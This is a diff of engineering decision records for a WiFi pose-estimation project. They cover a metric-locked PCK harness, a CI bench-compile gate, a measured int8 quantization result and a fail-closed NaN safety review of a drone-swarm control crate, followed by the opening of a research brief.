**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
|
||||
(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
|
||||
there remains exactly one implementation of each geometric reference; the
|
||||
existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
|
||||
it.
|
||||
|
||||
### Public API
|
||||
|
||||
- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
|
||||
— the three conventions the three historical numbers used, now **explicit and
|
||||
selectable**. `.label()` / `.tolerance(...)`.
|
||||
- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
|
||||
fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
|
||||
where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
|
||||
`AbsolutePixels`).
|
||||
- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
|
||||
units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
|
||||
colliding with the existing `eval::mpjpe`.
|
||||
- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
|
||||
— **a reported number always carries its `normalization`**; an unlabeled PCK is
|
||||
structurally impossible to produce through this surface.
|
||||
- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
|
||||
(micro-averaged over keypoints).
|
||||
|
||||
### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
|
||||
|
||||
The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
|
||||
hand, and assert the harness matches. Highlights (all pass):
|
||||
|
||||
| Test | Construction | Expected |
|
||||
|------|--------------|----------|
|
||||
| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
|
||||
| all_just_outside | every error just past τ@20 | PCK=0.0 |
|
||||
| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
|
||||
| **three_normalizations (KEY PROOF)** | identical pred; nose err .06, shoulder .10, hips exact | torso=**0.50**, bbox=**1.00**, abs(.08)=**0.75** |
|
||||
| mpjpe_2d / mpjpe_3d | (3,4)→5 / (1,2,2)→3 | 2.5 / 3.0 |
|
||||
| mpjpe_excludes_invisible | invisible joint err 100 ignored | 5.0 |
|
||||
| zero_torso_unscoreable | coincident hips | `(0,0,0.0)`, **not** false-perfect |
|
||||
| no_visible_keypoints | vis=∅ | `(0,0,0.0)` |
|
||||
| nan_coords | one NaN pred coord | counted wrong, **no panic** |
|
||||
| empty report | no frames | 0.0, **not** NaN |
|
||||
| bbox≥torso ordering | same frames | bbox-PCK ≥ torso-PCK |
|
||||
|
||||
### The key proof (the ambiguity is real and quantified)
|
||||
|
||||
Identical predictions, three declared normalizations → **0.50 / 1.00 / 0.75**.
|
||||
Mechanism: the bbox diagonal `√(0.20² + 0.80²) = 0.825` is ~4× the hip-span torso
|
||||
`0.20`, so τ@20 is 0.165 (bbox) vs 0.040 (torso) — the looser image-normalized
|
||||
convention passes joints the strict torso convention rejects. This is *exactly*
|
||||
why 96% / 81.6% / 61% cannot be lined up without declaring the enum, demonstrated
|
||||
in-code.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p wifi-densepose-train --no-default-features` → lib **191 → 206**
|
||||
(+15), `test_metrics` **12 → 14** (+2), doc-tests 8 — **0 failed**.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
|
||||
(off the signal proof path — confirms no pipeline alteration).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The three historical PCK numbers can now be **recomputed under one declared
|
||||
definition** and compared honestly. The retracted-number class of error
|
||||
(silent normalization mismatch) is structurally prevented going forward.
|
||||
- Establishes the measurement substrate for the beyond-SOTA target: GraphPose-Fi
|
||||
cross-environment **PCK@20 = 12.9%** (standard torso PCK) is now a number this
|
||||
harness can produce comparably.
|
||||
|
||||
### Negative
|
||||
- None functional. The harness is additive; no existing metric path changed.
|
||||
|
||||
### Neutral
|
||||
- Producing actual model numbers under this harness requires the trained models +
|
||||
datasets (MM-Fi) and, for cross-domain splits, is the next sub-deliverable of
|
||||
the benchmark/optimization milestone — out of scope here (this ADR is the
|
||||
*instrument*, not the *reading*).
|
||||
|
||||
## Links
|
||||
- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
|
||||
- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)
|
||||
@@ -0,0 +1,110 @@
|
||||
# ADR-174: CI Bench-Regression Gate (Compile-Verify)
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, caught one real bit-rotted bench |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **BENCH-GATE** |
|
||||
| **Milestone** | benchmark/optimization re-balance — sub-deliverable 8.3 |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (target 3: criterion benches as CI regression baselines) |
|
||||
|
||||
## Context
|
||||
|
||||
The v2/ workspace ships **26 criterion benches across 18 crates** (e.g.
|
||||
`nvsim/pipeline_throughput`, `wifi-densepose-ruvector/{ann,sketch,fusion}_bench`,
|
||||
`wifi-densepose-signal/{signal,dsp_perf,features,calibration,cir,…}_bench`,
|
||||
`wifi-densepose-mat/detection_bench`, `wifi-densepose-nn/{inference,native_conv}_bench`,
|
||||
`wifi-densepose-engine/engine_cycle`, …). Because **benches are not part of
|
||||
`cargo test`**, nothing in CI compiled them — so they bit-rot silently the moment
|
||||
a public API they call changes, and the rot is invisible until someone manually
|
||||
runs `cargo bench` months later.
|
||||
|
||||
The SOTA brief named "wire existing criterion benches into CI as regression
|
||||
baselines" as a concrete benchmark-hygiene target. The honest difficulty: true
|
||||
*timing*-regression gating on shared GitHub runners is unreliable — wall-clock
|
||||
varies 2–3× run-to-run (a captured 10-sample run showed `float_l2/512` ranging
|
||||
307–444 ns), so a hard threshold or a cross-runner `criterion --baseline` compare
|
||||
(baseline and PR land on different physical machines) would manufacture false
|
||||
regressions. A gate that cries wolf gets disabled.
|
||||
|
||||
## Decision
|
||||
|
||||
Add `.github/workflows/bench-regression.yml` with **two jobs of explicitly
|
||||
different authority** — and do NOT pretend to gate on timing.
|
||||
|
||||
### `bench-compile` — HARD GATE (real regression detection)
|
||||
`cargo bench --workspace --no-default-features --no-run` compiles + links every
|
||||
default-feature bench (no measurement → fully deterministic), plus a
|
||||
`--features cir` compile of the gated `cir_bench`. Benches aren't in `cargo test`,
|
||||
so this is the genuine guard: **the build fails the moment a bench stops
|
||||
compiling.**
|
||||
|
||||
### `bench-fast-run` — INFORMATIONAL (`continue-on-error: true`, never gates)
|
||||
Runs a curated pure-CPU subset (`nvsim/pipeline_throughput`,
|
||||
`ruvector/{sketch,fusion}_bench`) in criterion quick-mode (1 s warm-up / 2 s
|
||||
measure / 10 samples), targeted per-`--bench`, and uploads logs as an artifact.
|
||||
Every number it produces is **informational only** — explicitly stated in the
|
||||
workflow header.
|
||||
|
||||
### What is NOT done, and why (honest scope)
|
||||
No timing-regression gate, no committed baseline JSON. The workflow header
|
||||
documents the exact condition under which true timing-gating becomes honest: a
|
||||
frequency-pinned **self-hosted** runner with a generous (>2×) floor. A
|
||||
cross-runner baseline would be dishonest, so none is committed.
|
||||
|
||||
### Proof it matters (MEASURED)
|
||||
Running the new gate on the current tree immediately caught
|
||||
`wifi-densepose-mat/detection_bench` failing to compile:
|
||||
`error[E0063]: missing field last_rssi in initializer of SensorPosition` — the
|
||||
struct gained a field; the bench was never updated. **Fixed** in the same change
|
||||
(`last_rssi: None`, the simulated-zone convention) and re-verified
|
||||
(`cargo bench -p wifi-densepose-mat --no-default-features --bench detection_bench --no-run`
|
||||
→ `Finished`). The gate paid for itself on its first run.
|
||||
|
||||
### Exclusions (documented in-workflow)
|
||||
- `ruvector/crv_bench` — its crates.io dep `ruvector-crv 0.1.1` fails to build on
|
||||
stable (upstream `E0308` in `stage_iii.rs`); excluded with a re-add condition.
|
||||
- `onnx_bench` / `mqtt_throughput` — feature-gated (ort / mqtt), left to their
|
||||
crates' own workflows. `wasm-edge/process_frame_bench` — workspace-excluded.
|
||||
|
||||
Conventions mirror existing workflows: `submodules: recursive` (the workspace
|
||||
path-deps `vendor/rufield`), Swatinem/rust-cache `workspaces: v2`, Tauri/GTK apt
|
||||
deps (a `--workspace` bench link pulls the whole graph), path-filtered triggers.
|
||||
|
||||
## Validation
|
||||
|
||||
- **Bit-rot caught + fixed** (above), re-verified `--no-run`.
|
||||
- **MEASURED locally** (`--no-default-features`, Windows): nvsim, ruvector
|
||||
(sketch/fusion/ann), signal/cir_bench, mat/detection_bench (post-fix),
|
||||
vitals, ruview-swarm/swarm_bench all compile; fast subset runs (`nvsim
|
||||
pipeline_run/d1/256` ≈ 55 µs; `ruvector sketch_hamming` ≈ 3–7 ns vs `float_l2`
|
||||
≈ 63–371 ns).
|
||||
- `cargo test -p wifi-densepose-mat --no-default-features` → 166/6/2 passed, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged.
|
||||
- **Honest limitation:** the full `--workspace --no-run` could not be
|
||||
end-to-end validated on this Windows box (`desktop` needs GTK, `candle-core`
|
||||
fails on MSVC, `swarm_bench` LTO-links OOM under parallel pressure — all
|
||||
Windows-env artifacts; each affected bench compiles standalone here). **The
|
||||
first green Linux CI run on the PR is the authoritative proof of the
|
||||
`--workspace` step.**
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Bench bit-rot is now a hard CI failure, not a silent surprise — the 26 benches
|
||||
stay compilable as the APIs they exercise evolve.
|
||||
- The benchmark-infrastructure half of the DoD (step 5) is satisfied honestly,
|
||||
setting up the next sub-deliverable (QAT-int8 measurement) to be
|
||||
regression-protected.
|
||||
|
||||
### Negative / Neutral
|
||||
- No automated timing-regression detection (deliberate — see scope). Revisit only
|
||||
with a frequency-pinned self-hosted runner.
|
||||
- One bench (`crv_bench`) excluded pending an upstream dep fix.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked accuracy harness (sub-deliverable 8.1)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — motivating target
|
||||
- ADR-134 (CIR), ADR-135 (calibration), ADR-154 (signal DSP benches) — benched paths
|
||||
@@ -0,0 +1,172 @@
|
||||
# ADR-175: int8 Quantization of the WiFlow-STD "half" Pose Model — MEASURED accuracy/size trade-off
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — MEASURED, reproducible (honest negative) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **EDGE-INT8** |
|
||||
| **Sub-deliverable** | 8.2 of the benchmark/optimization milestone |
|
||||
| **Metric lock** | ADR-173 (one declared PCK normalization for every reported number) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (§edge int8) |
|
||||
|
||||
## Context
|
||||
|
||||
The SOTA brief characterized the int8 edge story for the WiFlow-STD pose net as
|
||||
"fully characterized" for PTQ on the **published 2.23M** model (static QDQ
|
||||
conv-only = the sweet spot; dynamic int8 ≈ no-op on this all-conv net), and named
|
||||
**QAT-int8 on the strictly-dominating 843,834-param "half" model** as "the one
|
||||
untested edge lever." This ADR is the reading of that lever — a MEASURED
|
||||
fp32-vs-int8 trade-off for the half model, not a claim.
|
||||
|
||||
The half model (`half_best.pth`, 843,834 params) is the efficiency-sweep winner
|
||||
from ADR-152 (`run_sweep.py` VARIANTS[0]: `tcn=[270,220,170,120]`,
|
||||
`conv=[4,8,16,32]`, `attn_groups=4`). Its fp32 accuracy was recorded in the sweep;
|
||||
this ADR re-measures it under the locked normalization and quantizes it.
|
||||
|
||||
**The whole point of this deliverable is reproducibility.** Every number below was
|
||||
produced by running `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
on host `ruvultra` (RTX 5080, torch 2.11.0+cu128) against the real checkpoint and
|
||||
the real seed-42 test split. The script + the exact command + the recorded stdout
|
||||
**is** the proof artifact. Nothing here is estimated.
|
||||
|
||||
## Decision
|
||||
|
||||
Quantize the half model to int8 with **both** levers and report both honestly:
|
||||
|
||||
1. **QAT (primary target)** — FX graph-mode quantization-aware training, fbgemm
|
||||
backend, 3 epochs of fake-quant fine-tuning from `half_best.pth` (AdamW lr 2e-5,
|
||||
the existing `PoseLoss`), then `convert_fx` to a true int8 graph.
|
||||
2. **PTQ static QDQ (the brief's "sweet spot", measured as the honest fallback)** —
|
||||
FX graph-mode static PTQ, fbgemm, calibrated on 64 train batches.
|
||||
|
||||
### Locked normalization (ADR-173)
|
||||
|
||||
**Torso-diameter PCK** — neck (keypoint idx 2) → pelvis (idx 12) distance — the
|
||||
standard MM-Fi/GraphPose-Fi convention. This is exactly the default
|
||||
`use_torso_norm=True` path of the upstream harness's `utils/metrics.calculate_pck`.
|
||||
The **same** `calculate_pck`/`calculate_mpjpe` that produced the sweep's fp32
|
||||
numbers scores **both** fp32 and int8 here, so the comparison is metric-locked: no
|
||||
normalization is mixed, and the fp32 baseline reproduces the sweep's recorded
|
||||
`half` test numbers bit-for-bit (PCK@20 clean = 96.62%), confirming the harness is
|
||||
the same one.
|
||||
|
||||
### Device note (why int8 is CPU)
|
||||
|
||||
PyTorch int8 quantized kernels execute on CPU (fbgemm/x86), not CUDA. So int8 eval
|
||||
is CPU. To keep the accuracy delta device-matched (not confounding int8-vs-fp32
|
||||
with CPU-vs-GPU), the script measures an **fp32-CPU** baseline too. fp32-CPU and
|
||||
fp32-GPU agree to 4 decimals (PCK@20 clean 0.96623 vs 0.96623), so CPU/GPU
|
||||
introduces no drift — the int8 deltas below are pure quantization effect.
|
||||
|
||||
## MEASURED results (clean test subset = 52,560 NaN-free windows; torso-PCK)
|
||||
|
||||
Source: stdout of the run below + `~/wiflow-std-bench/sweep/int8/int8_results.json`.
|
||||
|
||||
| model | quant | size (MB) | PCK@20 | PCK@50 | MPJPE | Δ PCK@20 | Δ PCK@50 | size win |
|
||||
|-------|-------|-----------|--------|--------|-------|----------|----------|----------|
|
||||
| **fp32** (cpu) | — | **3.351** | **96.62%** | **99.47%** | **0.008981** | — | — | 1.00× |
|
||||
| int8 PTQ static | PTQ | 1.046 | 40.98% | 94.98% | 0.038262 | **−55.64 pp** | −4.49 pp | 3.20× smaller |
|
||||
| int8 QAT (3 ep) | **QAT** | 1.043 | 67.48% | 98.69% | 0.026548 | **−29.15 pp** | −0.78 pp | 3.21× smaller |
|
||||
|
||||
Full-test-set (54,000 windows incl. NaN-zero-filled files 487–499) tracks the
|
||||
clean subset: fp32 96.10% / int8-PTQ 41.11% / int8-QAT 67.48% PCK@20 — same shape,
|
||||
recorded in the JSON.
|
||||
|
||||
### Verdict
|
||||
|
||||
**int8 is NOT a win for this model at the tight PCK@20 edge target — honest no.**
|
||||
|
||||
- **PTQ static collapses** (−55.64 pp PCK@20). Naive static QDQ destroys the half
|
||||
model. The "sweet spot" characterization from the brief does not transfer from
|
||||
the 2.23M model to this 843k model at the strict torso-PCK@20 threshold.
|
||||
- **QAT recovers a large share of the relative gap** (PTQ 40.98% → QAT 67.48%) but
|
||||
still **loses 29.15 pp** at PCK@20 for a 3.21× size reduction. At the loose
|
||||
PCK@50 threshold QAT is nearly lossless (−0.78 pp), i.e. coarse-localization
|
||||
survives int8 but fine-localization does not.
|
||||
- The size win is real and consistent (3.2× smaller, 3.351 MB → ~1.04 MB), but
|
||||
**3.2× compression at −29 pp PCK@20 is a bad trade** when the half model already
|
||||
fits comfortably in edge flash at fp32. Recommendation: **keep fp32 (or fp16)
|
||||
for the half model on the edge**; do not ship this int8 variant as-is.
|
||||
|
||||
### Observed fake-quant → int8 conversion gap (disclosed, not hidden)
|
||||
|
||||
During QAT the **fake-quant** model's val PCK@20 reached 83.45% (epoch 3), but the
|
||||
**converted int8** model scores 67.48% on test. A ~16 pp drop on `convert_fx` is a
|
||||
real effect — the fbgemm int8 kernels are not bit-identical to the fake-quant
|
||||
simulation (per-tensor activation quant + the axial-attention `einsum`/softmax path
|
||||
quantize worse than the straight-through estimate predicts). This gap is the honest
|
||||
reason QAT did not close the loss, and it is exactly the kind of number that would
|
||||
be invisible if one only reported the fake-quant proxy. We report the **converted
|
||||
int8** number as the deliverable, not the fake-quant proxy.
|
||||
|
||||
## Reproduction
|
||||
|
||||
```bash
|
||||
ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
|
||||
python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
|
||||
```
|
||||
|
||||
- Script (committed): `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
(scp'd to `~/quantize_half_int8.py` on ruvultra for the run).
|
||||
- Inputs (on ruvultra, unmodified): `~/wiflow-std-bench/sweep/half_best.pth`,
|
||||
`~/wiflow-std-bench/preprocessed_csi_data/` (seed-42 file-level 70/15/15 split),
|
||||
upstream `models`/`dataset`/`utils/metrics`/`losses` (DY2434/WiFlow @ 06899d29,
|
||||
Apache-2.0), and `sweep/model_compact.py` (the half-model definition).
|
||||
- Outputs (written, non-destructive): `~/wiflow-std-bench/sweep/int8/` —
|
||||
`half_int8_qat.pth`, `half_int8_ptq_static.pth`, `int8_results.json`,
|
||||
`int8_run.log`. **No existing file under `~/wiflow-std-bench` was modified.**
|
||||
- Run metadata: host `ruvultra`, GPU RTX 5080, torch `2.11.0+cu128`, fbgemm engine,
|
||||
`date_utc 2026-06-15T12:35:06Z`, QAT ≈ 97 s/epoch.
|
||||
|
||||
## What is MEASURED vs CLAIMED
|
||||
|
||||
- **MEASURED:** every PCK/MPJPE/size number in the table; the fp32 baseline (which
|
||||
reproduces the recorded sweep `half` numbers); the PTQ collapse; the QAT partial
|
||||
recovery; the fake-quant→int8 conversion gap; the 3.2× size reduction.
|
||||
- **CLAIMED / not done here:** ONNX/TFLite export; on-real-edge (ESP32/Pi/Hailo)
|
||||
latency or energy (int8 here is measured on x86 fbgemm, the dev box, **not** an
|
||||
edge SoC — the size number transfers, a latency number does **not**); a
|
||||
per-layer mixed-precision search that might keep the attention block in fp32; QAT
|
||||
beyond 3 epochs or with learned-quant-range schedules. Those are the obvious next
|
||||
levers if int8 is revisited; none is asserted as a result.
|
||||
|
||||
## Honest scope / limitations
|
||||
|
||||
- **Single eval split** — one seed-42 file-level test partition; no cross-room /
|
||||
cross-environment generalization split (the GraphPose-Fi frontier from ADR-173 is
|
||||
a separate, harder split and is not what is measured here).
|
||||
- **In-domain only** — these are in-distribution test numbers; they say nothing
|
||||
about the cross-environment robustness gap.
|
||||
- **x86 int8, not edge-SoC int8** — accuracy and size transfer to an edge int8
|
||||
runtime; the runtime/latency does not (different kernels, different SoC). No
|
||||
latency claim is made.
|
||||
- **QAT lightly tuned** — 3 epochs, single LR, default fbgemm qconfig. A longer /
|
||||
better-tuned QAT might narrow the −29 pp, but on the evidence here int8 does not
|
||||
reach fp32 at PCK@20, and that is the reportable result today.
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The "one untested edge lever" (QAT-int8 on the half model) is now MEASURED. The
|
||||
edge int8 question for the half model is answered with reproducible numbers: at
|
||||
the strict PCK@20 target it loses, and we can say so with a committed script.
|
||||
- Establishes a reusable, metric-locked quantization+eval harness
|
||||
(`quantize_half_int8.py`) for any future int8 attempt on these compact variants.
|
||||
|
||||
### Negative
|
||||
- None to the codebase (additive script + ADR + CHANGELOG only; no production Rust
|
||||
or signal-pipeline change; Python deterministic proof hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` unchanged).
|
||||
|
||||
### Neutral
|
||||
- The negative verdict means the half model stays fp32/fp16 on the edge for now.
|
||||
int8 for these compact pose nets is parked pending the next-lever work above.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked PCK/MPJPE harness (the locked normalization used here)
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark / efficiency sweep
|
||||
(produced `half_best.pth`)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — §edge int8 (the "one untested
|
||||
lever" this ADR measures)
|
||||
- Script: `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
@@ -0,0 +1,103 @@
|
||||
# ADR-176: `ruview-swarm` NaN-Fail-Open Safety Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 4 real safety bugs fixed + pinned; 2 issues documented for follow-up |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **SWARM-FAILCLOSED** |
|
||||
| **Reviews** | ADR-148 (`ruview-swarm` drone swarm control plane) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 1 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`ruview-swarm` (ADR-148) is the drone swarm control plane — hierarchical-mesh
|
||||
topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 command
|
||||
dispatch. It is the highest-stakes of the four never-reviewed v2 crates: a defect
|
||||
here can produce an **unsafe physical drone command**. It had no prior security
|
||||
ADR.
|
||||
|
||||
### Trust-boundary map
|
||||
Untrusted input enters via `SwarmOrchestrator::receive_peer_state` /
|
||||
`receive_peer_detection`, which accept full `DroneState` / `CsiDetection` serde
|
||||
structs with **f64/f32 fields and no finite-check**, and via
|
||||
`SwarmConfig`/`FhssConfig`/`Geofence` deserialization. The MAVLink wire formats in
|
||||
`mavlink_messages.rs` are **integer-encoded** (i32 mm / u8) and provably cannot
|
||||
carry NaN — so the NaN class is reachable through the **serde struct path, not the
|
||||
MAVLink decode path**. Commands flow out to a `FlightController` (PX4/ArduPilot).
|
||||
|
||||
The unifying bug class found: **IEEE-754 NaN/Inf silently defeating a safety
|
||||
comparison** (`NaN < threshold` evaluates to `false`), causing safety logic to
|
||||
**fail OPEN**. This is distinct from — but rhymes with — the NaN-state-poisoning
|
||||
class found earlier in calibration/vitals/geo (there, NaN latched into persistent
|
||||
state; here, NaN slips through a one-shot guard). Both are "non-finite input
|
||||
defeats logic," and the fix discipline is the same: **reject non-finite at the
|
||||
trust boundary, fail CLOSED.**
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the four reachable fail-open bugs by making each safety predicate
|
||||
non-finite-aware and fail-closed, each pinned by a fails-on-old test. Document
|
||||
two further genuine issues that need larger, riskier changes rather than churning
|
||||
them in a security pass.
|
||||
|
||||
### Findings fixed (all MEASURED fails-on-old)
|
||||
|
||||
| # | Severity | File:line | Issue | Fix | Pin (old behavior) |
|
||||
|---|----------|-----------|-------|-----|--------------------|
|
||||
| F1a | **HIGH** | `failsafe/mod.rs:51` | `nearest_neighbor_dist < collision_dist_m` fails open on a NaN peer position → **collision avoidance silently disabled** | `!is_finite() ||` → `EmergencyDiverge` | `test_nan_neighbor_distance_fails_closed_to_diverge` (old → `Nominal`) |
|
||||
| F1b | **HIGH** | `failsafe/mod.rs:75` | NaN `battery_pct` bypasses every battery check → drone stays Nominal on unknown battery | `!is_finite() ||` → `ReturnToHome` | `test_nan_battery_fails_closed_to_rth` (old → `Nominal`) |
|
||||
| F2 | **MEDIUM** | `security/geofence.rs:33` | NaN `z` altitude skips the altitude-breach check and point-in-polygon returns `Safe` → silent geofence bypass | leading non-finite coord → `HardBreach` | `test_nan_altitude_fails_closed` (old → `Safe`) |
|
||||
| F3 | **MEDIUM/DoS** | `security/antijamming.rs:65,71,102` | empty deserialized `channels_mhz` → `% 0` **panic** in `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick`, crashing the radio task | `len == 0` early-return (`0.0` sentinel) | `test_empty_channels_does_not_panic` (old → panic `divisor of zero`) |
|
||||
| F4 | **LOW** | `sensing/multiview.rs:70` | NaN `victim_position` passes the `is_some()` filter and propagates into the fused "confirmed victim" location dispatched to the swarm | require finite confidence + position (drop) | `test_nan_victim_position_dropped_from_fusion` (old → non-finite fused position) |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
- **MAVLink decode panic-safety** — `SwarmNodeState::decode(&[u8;20])` `try_into().unwrap()`s are over fixed const ranges of a fixed-size array → provably infallible; no arbitrary-length `&[u8]` decode path exists.
|
||||
- **UWB/GPS anti-spoofing NaN-safe** — `(gps_dist - uwb_dist).abs() <= tol` already fails CLOSED on a NaN range (counts as inconsistent → spoof rejected); covered by `test_spoofed_gps_invalid`.
|
||||
- **Bounded grid / no allocate-from-length-field** — `ProbabilityGrid` bounds-checks `cx/cy`; `pos_to_cell` uses saturating `as u32` (no UB).
|
||||
- **Mesh `nearest_k` NaN-safe sort** — `partial_cmp(..).unwrap_or(Equal)` cannot panic on NaN.
|
||||
- **No hardcoded secrets** — `MavlinkSigner` key is constructor-injected `[u8;32]`; grep-confirmed nothing embedded.
|
||||
|
||||
### Documented, not fixed (genuine — deferred to avoid churn/regression risk)
|
||||
|
||||
1. **Raft `AppendEntries` lacks the Log-Matching consistency check**
|
||||
(`topology/raft.rs:187`). A follower appends a leader's entries when
|
||||
`term >= current_term` **without validating `prev_log_index`/`prev_log_term`**,
|
||||
so a malformed/byzantine leader can corrupt a follower's log — a genuine
|
||||
consensus-safety gap. A correct fix reworks the log-append plus the
|
||||
caller-side vote-tally contract (the existing `handle_message` delegates
|
||||
tallying to the caller) — a larger change with test-rewrite risk, so it is
|
||||
recorded here rather than rushed in a security pass.
|
||||
2. **`MavlinkSigner::verify` uses a non-constant-time tag `==` and has no
|
||||
replay/timestamp-window rejection** (`security/mavlink_signing.rs:64`). The
|
||||
module doc already flags the replay limitation as a demo/test simplification.
|
||||
Hardening (constant-time compare + monotonic timestamp window) is a focused
|
||||
follow-up.
|
||||
|
||||
These two are the recommended scope of the next `ruview-swarm` hardening pass.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p ruview-swarm --no-default-features` → **117 → 123** passed, 0 failed (+6 pins).
|
||||
- All 6 new tests MEASURED fails-on-old (2× `Nominal`, `Safe`, panic `divisor of zero`, non-finite fused position); pass on the fix.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged (ruview-swarm off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Four reachable fail-open paths in a *physical-safety* control plane (collision
|
||||
avoidance, battery RTH, geofence, anti-jamming radio task) now fail CLOSED on
|
||||
hostile/degenerate input, each regression-pinned.
|
||||
- Extends the "non-finite input defeats logic" defense from the state-poisoning
|
||||
variant (calibration/vitals/geo) to the fail-open-comparison variant.
|
||||
|
||||
### Negative / Neutral
|
||||
- Two genuine issues (Raft log-matching, MAVLink signer) remain open by choice —
|
||||
see Documented-not-fixed; they define the next hardening pass.
|
||||
|
||||
## Links
|
||||
- ADR-148 — `ruview-swarm` drone swarm control system
|
||||
- ADR-172 — core/cli review (where the NaN bug-class root question was settled NO)
|
||||
- ADR-127 — homecore review (sibling NaN/concurrency hardening)
|
||||
@@ -0,0 +1,147 @@
|
||||
# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Date** | 2026-06-14 |
|
||||
| **Author** | deep-research (Opus) |
|
||||
| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
|
||||
| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
|
||||
| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
|
||||
|
||||
> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive summary
|
||||
|
||||
**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
|
||||
|
||||
- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
|
||||
